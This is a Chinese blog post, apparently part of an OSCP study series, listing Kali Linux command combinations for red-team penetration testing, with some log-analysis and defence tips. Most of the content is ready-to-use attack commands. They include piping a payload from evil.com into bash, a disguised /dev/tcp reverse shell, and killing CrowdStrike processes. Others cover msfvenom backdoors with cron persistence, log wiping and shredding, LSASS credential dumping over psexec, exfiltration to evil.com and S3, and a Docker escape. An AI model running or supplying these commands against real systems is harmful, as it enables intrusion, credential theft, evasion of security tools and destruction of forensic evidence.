Day6 Kali常用命令
关注 泷羽Sec和泷羽Sec-静安公众号,这里会定期更新与 OSCP、渗透测试等相关的最新文章,帮助你理解网络安全领域的最新动态。
红队渗透测试常用命令的典型场景和用法
2025年4月7日 23点46分
Day2中简单列举了几个Shell基本命令作为练习,本节将列举这些常见命令的红队渗透(也包含防御场景)常用组合方法。
从官方下载log文件练习,这是官方为了配合课程给我们提供的课后练习,日志文件
wget www.offensive-security.com/pwk-files/access_log.txt.gz
gunzip access_log.txt.gz1. grep - 快速过滤敏感信息
# 从日志中提取登录失败记录(爆破检测)
cat /var/log/auth.log | grep "Failed password"
# 搜索配置文件中的密码字段(敏感信息提取)
grep -r "password" /etc/ 2>/dev/null
# 过滤含特定关键词的HTTP请求(如SQL注入特征)
cat access.log | grep "select.*from"
2. sed - 动态修改文件内容
# 删除日志中本机IP痕迹(反取证)
sed -i '/192.168.1.100/d' /var/log/nginx/access.log
# 替换webshell中的恶意特征码(绕过WAF)
sed -i 's/eval($_POST/process_data(/g' backdoor.php
3. cut - 提取关键数据列
# 提取/etc/passwd中的用户名列表
cut -d: -f1 /etc/passwd
# 从CSV中提取子域名(信息收集)
cat targets.csv | cut -d',' -f3 | grep ".*\.example\.com"
# 提取ip
cat access_log.txt | cut -d " " -f 1 | sort -u
# 看访问数量
cat access_log.txt | cut -d " " -f 1 |sort | uniq -c
# 从多到少排序
cat access_log.txt | cut -d " " -f 1 |sort | uniq -c |sort -run
# 筛查最高请求的攻击源是否攻击成功
cat access_log.txt| grep '208.68.234.99' | grep admin | uniq -c





4. awk - 高级文本分析与提取
# 统计访问日志中的高频IP(寻找攻击源)
awk '{print $1}' access.log | sort | uniq -c | sort -nr
# 提取HTTP响应码为200的请求(漏洞扫描)
cat access.log | awk '$9 == 200 {print $7}'

5. comm - 对比敏感文件差异
# 对比用户列表变化(检测后门账户)
comm -3 <(sort /etc/passwd) <(sort passwd.bak) 6. diff / vimdiff - 分析配置变更
# 对比系统文件是否被篡改(如sshd_config)
diff /etc/ssh/sshd_config /backup/sshd_config_original
# 可视化对比两个版本Web代码(查找Webshell)
vimdiff index.php index.php.bak7. ping - 快速存活检测
# 检测内网存活主机(C段探测)
for i in {1..254}; do ping -c1 192.168.1.$i | grep "bytes from" & done8. wget / curl - 隐蔽传输文件
# 下载远程Payload并静默执行(无交互)
curl -s http://evil.com/shell.elf | bash
# 伪装User-Agent下载工具(绕过WAF)
wget -U "Mozilla/5.0" http://evil.com/nc.exe9. axel - 多线程加速下载
# 快速拖取大型数据库备份文件(数据窃取)
axel -n 10 http://target.com/database.tar.gz10. ps / kill - 进程管理
# 查找并杀死防护进程(如AV)
ps aux | grep "crowdstrike" | awk '{print $2}' | xargs kill -9
# 隐藏进程名启动反向Shell(避免ps暴露)
cp /bin/bash /tmp/.httpd && /tmp/.httpd -c "/bin/bash -i >& /dev/tcp/1.1.1.1/443 0>&1"11. tail / watch - 实时监控日志
# 动态观察Apache错误日志(检测攻击触发情况)
tail -f /var/log/apache2/error.log | grep "PHP Warning"
# 监控新建立的网络连接(反溯源)
watch -n 1 "netstat -antup | grep ESTABLISHED"12. history / alias - 隐藏操作痕迹
# 禁用历史记录(避免命令泄露)
unset HISTFILE; export HISTFILESIZE=0
# 创建高危命令别名(如快速清理日志)
alias cleanlogs='find /var/log -type f -exec shred -u {} \;'13. jobs / fg - 后台任务管理
# 后台运行端口扫描工具(如masscan)
masscan -p1-65535 10.0.0.0/24 > results.txt &
jobs # 查看后台任务
fg 1 # 调回前台继续操作红队关键技巧
- 混淆命令:使用
base64编码命令避免敏感字符串直接出现:echo "bHM=" | base64 -d | bash # 执行"ls"
- 时间戳伪造:用
touch -t修改文件时间戳躲避时间轴分析。 - 管道符绕过:利用
|、&&等符号组合命令绕过基础检测。
2025年4月7日 23点52分
进阶用法(后面会详细讲)
2025年4月8日 10点22分
以下是在渗透测试和溯源场景中,Kali Linux常用的命令组合与技巧,结合隐蔽性和实战需求整理成五大核心场景:
1. 信息收集与资产探测组合
命令工具:nmap + grep + cut
用途:快速扫描目标网络并提取关键信息
# 扫描C段存活主机,提取开放80/443端口的IP
nmap -sn 192.168.1.0/24 | grep "Nmap scan report" | cut -d' ' -f5 > live_hosts.txt
nmap -p80,443 -iL live_hosts.txt -oX scan_results.xml
# 解析XML扫描结果,提取高危服务(如SSH、RDP)
grep -E 'portid="22"|portid="3389"' scan_results.xml | awk -F'\"' '{print $2":"$4}'关键点:
• 使用-sn参数避免触发端口扫描告警
• 结果输出为XML格式便于后续自动化处理
2. Web漏洞利用组合
命令工具:nikto + sqlmap + curl
用途:自动化探测Web漏洞并验证利用
# 扫描目标网站漏洞
nikto -h http://target.com -output vuln_report.html
# 检测SQL注入并自动化获取数据库信息
sqlmap -u "http://target.com/index.php?id=1" --batch --dbs
# 利用漏洞上传Webshell(需结合编码绕过)
curl -X POST http://target.com/upload.php -F "file=@revshell.php" -H "User-Agent: Mozilla/5.0"隐蔽技巧:
• 在sqlmap中添加--random-agent伪装浏览器流量
• 使用base64编码Webshell内容绕过基础WAF检测
3. 权限维持与后门部署组合
命令工具:msfvenom + systemctl + crontab
用途:生成隐蔽后门并实现持久化
# 生成加密的Linux反向Shell Payload
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=1.1.1.1 LPORT=443 -f elf -o httpd --encrypt xor
# 部署后门并伪装为系统服务
mv httpd /usr/sbin/.httpd && chmod +x /usr/sbin/.httpd
systemctl enable apache2.service --now # 利用合法服务掩护
# 添加定时任务维持权限(每小时连接一次)
(crontab -l 2>/dev/null; echo "0 * * * * /usr/sbin/.httpd") | crontab -隐蔽技巧:
• 使用systemctl修改服务描述字段掩盖恶意进程
• 定时任务文件路径伪装为/etc/cron.daily/logrotate
4. 日志清理与反溯源组合
命令工具:sed + find + shred
用途:擦除攻击痕迹并干扰时间线分析
# 删除SSH登录失败记录
sed -i '/Failed password/d' /var/log/auth.log
# 批量清除Web访问日志中本机IP
find /var/log/nginx/ -name "access.log*" -exec sed -i '/192.168.1.100/d' {} \;
# 物理删除临时文件(覆盖7次后销毁)
find /tmp/ -name "*.php" -exec shred -u -z -n7 {} \;关键点:
• 优先操作日志轮转文件(如auth.log.1)
• 使用shred代替rm彻底破坏文件恢复可能性
5. 内网横向移动组合
命令工具:impacket-psexec + proxychains + smbmap
用途:通过凭证重用突破内网边界
# 扫描内网SMB共享资源
proxychains smbmap -H 10.0.0.5 -u 'admin' -p 'P@ssw0rd'
# 利用PsExec执行远程命令(如抓取内存密码)
proxychains impacket-psexec admin:'P@ssw0rd'@10.0.0.5 "cmd /c rundll32.exe C:\windows\system32\comsvcs.dll MiniDump 648 C:\lsass.dmp full"
# 通过加密通道回传敏感数据
curl --socks5 127.0.0.1:9050 -F "file=@lsass.dmp" https://evil.com/upload隐蔽技巧:
• 使用DNS-over-HTTPS(DoH)隐藏C2通信
• 内存加载恶意代码避免磁盘文件写入(如Meterpreter的reflectivedllinject)
红队高阶技巧
-
流量伪装:
# 使用合法云服务API传输数据(如AWS S3) aws s3 cp /etc/passwd s3://bucket-backdoor/ --profile=legit_user -
容器逃逸:
# 检测Docker环境并挂载宿主机目录 findmnt | grep "/var/lib/docker" && docker run -v /:/mnt/host alpine chroot /mnt/host -
硬件级隐蔽:
# 修改网卡MAC地址绕过IP封锁 ip link set dev eth0 down && macchanger -r eth0 && ip link set dev eth0 up
防御对抗建议
• 日志监控:关注/var/log/下auth.log、syslog的异常进程创建事件
• 进程防护:使用ps -auxf检查父进程异常的/usr/sbin/.httpd类服务
• 网络隔离:通过iptables限制非授权出站流量(如阻断TOR节点连接)
2025年4月8日 11点24分
🔔 想要获取更多网络安全与编程技术干货?
关注 泷羽Sec-静安 公众号,与你一起探索前沿技术,分享实用的学习资源与工具。我们专注于深入分析,拒绝浮躁,只做最实用的技术分享!💻
扫描下方二维码,马上加入我们,共同成长!🌟
👉 长按或扫描二维码关注公众号
或者直接回复文章中的关键词,获取更多技术资料与书单推荐!📚